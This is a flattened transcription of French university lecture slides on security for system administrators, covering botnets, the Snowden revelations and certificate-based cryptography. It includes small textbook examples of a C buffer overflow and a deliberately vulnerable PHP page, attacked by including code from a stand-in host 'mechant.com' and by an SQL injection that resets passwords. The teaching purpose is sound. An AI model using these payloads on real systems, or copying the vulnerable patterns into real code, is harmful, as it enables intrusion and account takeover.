Administration système Table des matières Notions de sécurité Vue
Transcription
Administration système Table des matières Notions de sécurité Vue
Administration système Table des matières M4101C 2ème année - S4, cours - 3/3 ● Notions de sécurité ● Acteurs étatiques ● Chiffrement de données 2014-2015 Marcel Bosc Département informatique IUT de Villetaneuse Université Paris-13 Vue d'ensemble 1ère partie Notions de sécurité virus worm trojan phishing zero-day botnet zombies backdoor keylogger DDoS ... des millier d'attaques par jour! historique 2000 2010 Botnet : exemple amusement 1. le pirate infecte des PCs vol crime organisé botnets Espionnage Equation Group (NSA) militaire, surveillance (NSA, USCYBERCOM, ...) Stuxnet, Flame, ... Anonymous LulzSec... 2. les PC infectés se connectent au botnet. 3. un spammer achète l'accès au pirate 4. le spammer envoie les instructions ; les zombies envoient le spam botnets de millions de zombies! Wikipedia : timeline hacker (en), NSA, USCYBERCOM, http://min.me/1ay8p ... Par où rentrer? pirate internet services Firewall intranet port serveur web 80 port serveur 25 mail port serveur ftp 21 chaque service ouvert = porte d'entrée Wikipedia : Botnet Source: Wikipedia pirate internet services intranet port serveur web 80 utilisation interne port serveur 25 mail utilisation interne port serveur ftp 21 bloquer toutes les connections entrantes et sortantes, sauf celles explicitement autorisées Wikipedia : Pare-feu Accès non autorisée Exemple: buffer overflow programme C vulnérable pirate plus de 100 char! faire exécuter son propre code à une machine obtenir des informations permettant de rentrer par une voie « légitime » (ex: mdp) « Social engineering » faille de sécurité: exploitation d'une erreur ou d'un oubli dans un programme : en général très compliqué! demander_nom() { char nom[100]; scanf("%s",nom); ... } la pile normalement: paramètres : aucun variables locales: 't' (nom) 'o' 100 't' 'o' ... adresse retour : 0xfa6642a8 piraté: aucun 0 plus 0 de 0 100 0 0 char! 0 0 adresse modifiée!!! Wikipedia : Dépassement de tampon exemple: php debile.php debile.php $action=$_GET['action']; include "$action.php"; $nom=$_GET['nom']; $sql="SELECT * FROM users WHERE nom = '$nom';" normalement: http://zozo.com/debile.php?action=lire $action=$_GET['action']; include "$action.php"; exemple: injection sql $action='lire'; include "lire.php"; pirate: http://zozo.com/debile.php?action=http://mechant.com/pirate normalement: http://zozo.com/debile.php?nom=toto $sql="SELECT * FROM users WHERE nom = 'toto';" pirate: http://zozo.com/debile.php?nom=toto%27%3BUPDATE+u... $nom="toto';UPDATE users SET passwd='hack';"; $action=$_GET['action']; include "$action.php"; $action='http://mechant.com/pirate'; ! include "http://mechant.com/pirate.php"; $sql=SELECT * FROM users WHERE nom='toto';UPDATE users SET passwd='hack'; Wikipedia : Injection SQL mise à jours Mesures installation logiciel bug ● découverte de la faille par la communauté publication du problème minimiser l'interaction avec l'extérieur firewall, proxy ● tenir tous les logiciels à jour ● IDS: système de détection d'intrusion ● autoriser que le strictement nécessaire publication d'une correction faire vite! mise à jour exemple: logiciels web recherche automatique des sites vulnérables sauvegardes incrémentales Révélations Snowden 2ème partie Ex-admin. système NSA Acteurs étatiques Lanceur d'alerte - juin 2013 Surveillance à grande échelle Prism « Upstream » Téléphonie Google, Dorsales Yahoo, fibre optique Facebook, Youtube... Upstream collection Dorsales fibre optique Collaboration directe des opérateurs télécoms Ex: AT&T : room 641A « RAMPART-A » 5 + 25 pays 32 000 To / jour « Tempora » : Grande Bretagne (GCHQ) 21 000 To / jour « Lustre » : France (DGSE) Données Orange => NSA, GCHQ 70 millions appels / mois Data mining Stockage massif et permanent des données Bluffdale : $2 à 4 milliards Traitement automatisé des données Analyse automatique - réseaux de proches - surveillance politique ? Technique Zero-days Backdoors arsenal probable ex: heartbleed ? sous-traitants $20,000 à $200,000 / faille Open Source Backdoors probables ex: Microsoft Closed Source ex: Vupen Ex: Dual_EC_DRBG backdoor ex :firmware reflash (EquationDrug, GrayFish) Entreprise « RSA sécurity » $10 millions Comité standards 100% infiltré Matériel ex: Intel : RdRand Ex: IPSEC OpenBSD backdoor (FBI) SEL Linux : NSA : backdoors ? beaucoup d'autres Décryptage 3ème partie Bullrun Décryptage àgrande échelle Chiffrement de données SSL (https...), ssh ?, VPN, 4G, ... Comment ??? Clés privées : Key Provisioning Service Key Recovery Service intrusion ? Cryptographie & admin. système Admin. système : pas d'algorithmes Alice n=pq c=m e(mod n) RSA, D-H, ECC, ... Cryptographie à clé publique Bob Bob pub Bob pub 1 + 2 ceci est un message secret Nombreux services : GPG, PGP, SSL (TLS), SSH, Bitcoin, ... ??? Mallory = c2Rmc2QgZ nFrZnHDuW tsZyBxw7lk https, smtps, imaps, ldaps, ... c2Rmc2QgZ nFrZnHDuW tsZyBxw7lk 3 Bob priv + 4 = Omniprésent : ceci est un message secret https : Google, Facebook, Twitter, Youtube, ... smtps : gmail, yahoo, hotmail, laposte, .... Man in the middle Alice + 2 Mal pub Bob pub amdpb2Vvc HppZSxiX8 On82Jjf920 CA3 CA3 pub Bob pub CA3 priv 2 Mal priv 3 ceci est un message secret = 1 Bob priv + 3 + amdpb2Vvc HppZSxiX8 On82Jjf920 8 + 6 c2Rmc2QgZ nFrZnHDuW tsZyBxw7lk 7 4 Bob pub Signé par CA3 € 3 Bob Bob pub Signé par CA3 CA1 pub = ceci est un message secret Tiers de confiance 1 Alice c2Rmc2QgZ nFrZnHDuW tsZyBxw7lk = 5 ceci est un message secret 6 CA : Autorités de certification Bob Mallory Mal pub 5 c2Rmc2QgZ nFrZnHDuW tsZyBxw7lk 9 CA2 pub CA3 pub 5 Certificat : Identité + clé publique, signé par CA Man in the middle Alice Mallory Mal pub 2 Mal pub Bob pub Fausse sign. Mal priv Faiblesse du CA CA2 CA2 pub Bob Bob pub 1 CA2 : vérification faible CA2 priv « J e Signé par CA3 « Alice d' ac Bob pub (Mal) ! CA1 pub co rd is Bo b » Signé par CA2 3 » Mallory Bob pub (Mal) Signé par CA2 CA1 pub CA2 pub CA2 pub CA3 pub CA3 pub Exemple : https (http + ssl) Exemple : https (http + ssl) secure.bnpparisbas.net client navigateur serveur web « Donne moi ton certificat » 1 BNP pub 2 certificat ( BNP pub + sig) Vérification BNP priv sig.certificat BNP pub Cryptage asymétrique (clé privé/pub) = lent su BNP priv clé session aléatoire 3 Asymétrique uniquement pour échanger une clé de session aléatoire Cryptage symétrique (clé privé) avec clé session pour les données http } BNP pub + 4 clé sess. crypté 5 6 « Donne moi page.html » <html>...</html> internet 7 très simplifié Certificat SSL https : certificat non valide ssl Certificat : Identité + clé publique, signé par CA Certificat : Émis pour : www.secure.bnpparisbas.net BNP PARIBAS SA Clé publique RSA 2048 bit : 00:e7:f6:01:43:93:a9:cc:35:fe:03:21:36:a4:5d: ... Émis par : Verisign Signature sha1 : 46:af:82:ac:41:39:9f:72:c8:37:05:5e:9b:07:57 ... Création d'un certificat Exemple : ssh Vérification de l'identité du serveur Bob génération clés Bob priv 1 CA pub CA Bob pub CSR - Certificate signing request 2 1) identité : bob.org, Bob S.A., [email protected] 2) Bob pub /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.pub CA priv serveur : empreinte de la clé 3 std: 12€/an EV: 280€/an exemple.org $ $ ssh-keygen -lf /etc/ssh/ssh_host_rsa_key.pub 1024 ac:1b:13:e1:48:2a:73:32:5a:1d:37:7e:1d:31 [email protected] (RSA) client Vérification identité 4 6 Config apache, mail, ... serveur exemple.org : certificat { CSR 5 CA priv monordi $ ssh exemple.org The authenticity of host 'exemple.org (123.45.67.89)' can't be established. RSA key fingerprint is ac:1b:13:e1:48:2a:73:32:5a:1d:37:7e:1d:31 Are you sure you want to continue connecting (yes/no)? client : /home/moi/.ssh/known_hosts ssh : authentification client Par clé publique, sans mot de passe passphrase client: /home/moi/.ssh/id_rsa /home/moi/.ssh/id_rsa.pub Ce document est distribué librement. Sous licence GNU FDL : http://www.gnu.org/copyleft/fdl.html Les originaux sont disponibles au format LibreOffice serveur: /home/moi/.ssh/authorized_keys Aussi : exécution de commande à distance sans mot de passe http://www-info.iutv.univ-paris13.fr/~bosc